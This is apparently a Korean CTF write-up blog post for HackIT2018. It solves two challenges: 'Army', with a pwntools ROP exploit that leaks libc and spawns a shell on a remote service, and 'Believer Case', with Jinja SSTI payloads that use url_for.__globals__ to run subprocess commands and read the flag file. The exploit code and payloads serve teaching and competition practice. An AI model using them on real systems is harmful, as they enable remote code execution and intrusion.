github twitter facebook email
HackIT2018
Sep 11, 2018
2 minutes read

Army

코드를 대충 둘러보면

  v1 = *(qword_6020B8 + 24);
  v6 = v1 - 1LL;
  v2 = alloca(16 * ((v1 + 15LL) / 0x10uLL));
  buf = &v3;
  printf("Enter your answer : ", v1, (v1 + 15LL) % 0x10uLL, 16LL, v1, 0LL);
  v4 = answer_size_backup;
  read(0, buf, answer_size_backup);

Promotion함수의 다음부분에서 bof가 일어날법 하다.

하지만 윗부분의 alloca때문에 bof가 제대로 트리거되지 않는다. 이를 우회하기 위해서는 간단한 logic bug를 활용하면 된다.

청크를 생성할때, 중간에 에러가 발생되어 제대로 값이 들어가지 않아도, 청크가 생성됨을 보여주는 flag는 이미 세팅된다. 이를 이용하여

qword_6020b8과 answer_size_backup의 값을 다르게 할 수 있고, 이를 잘 꼬으면 alloca(0)을 만들수 있다.

그럴경우 bof가 트리거 되고 손쉽게 익스가 가능하다.

from pwn import *

def create(name, height, weight, length, answer):
    p.recvuntil('tion\n')
    p.send('1')
    p.recvuntil('name: ')
    p.send(name)
    p.recvuntil('height: ')
    p.send(str(height))
    p.recvuntil('weight: ')
    p.send(str(weight))
    p.recvuntil('answer: ')
    p.send(str(length))
    p.recvuntil('description: ')
    p.send(answer)

def show():
    p.recvuntil('tion\n')
    p.send('2')

def promotion(answer):
    p.recvuntil('tion\n')
    p.send('3')
    p.recvuntil('answer : ')
    p.send(answer)

if __name__ == '__main__':
    p = remote('185.168.131.122', 6000)#process('./army')
    elf = ELF('./army')
    libc = elf.libc

    p.recvuntil('Luck : ')
    leak = u64(p.recv(6).ljust(8,'\x00'))
    libc_base = leak - libc.symbols['puts']
    log.info("Libcbase : 0x%x" % libc_base)
    context.log_level='debug'
    create("A"*4, -16, -16, 10, "B"*4)
    promotion("A"*1)

    p.recvuntil('tion\n')
    p.send('1')
    p.recvuntil('name: ')
    p.send('a')
    p.recvuntil('height: ')
    p.send('1')
    p.recvuntil('weight: ')
    p.send('1')
    p.recvuntil('answer: ')
    p.send('-1')
    
    pause()
    poprdi = 0x0000000000400d03
    binsh = libc_base + next(libc.search('/bin/sh'))
    system = libc_base + libc.symbols['system']

    pay = "A"*0x30 + "B"*8
    pay += p64(poprdi) + p64(binsh) 
    pay += p64(system)
    promotion(pay)

    p.interactive()

Believer Case

SSTI취약점이 있다. config, self 같은게 다 막혀있는건지 잘 되지 않아서 url_for을 활용했다.

url_for.__globals__

__builtins__ 를 가져올 수 있다. 이를 이용하여 __import__와 file을 사용할 수 있다.

url_for.__globals__.__import__('subprocess').check_output(['ls'])

flag_secret_file_910230912900891283 가 있으니 이를

url_for.__globals__.__builtins__.file('FLAG_FILENAME').read()

읽어오면 풀린다.


Back to posts


comments powered by Disqus